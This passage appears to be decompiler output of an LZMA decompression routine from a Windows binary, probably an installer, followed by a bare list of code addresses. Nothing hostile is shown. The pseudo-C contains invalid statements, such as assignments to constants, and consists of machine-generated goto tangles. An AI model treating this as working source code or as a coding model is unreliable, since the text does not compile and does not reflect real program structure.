											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00407033
0x00407033
0x00407033
0x00407033
0x00407039
0x0040703d
0x00407041
0x0040704b
0x00407059
0x0040732f
0x0040732f
0x00407332
0x00407339
0x00407366
0x00407366
0x0040736a
0x00000000
0x00000000
0x0040736c
0x00407375
0x0040737b
0x0040737e
0x00407381
0x00407384
0x00407387
0x0040738d
0x004073a6
0x004073a9
0x004073b5
0x004073b6
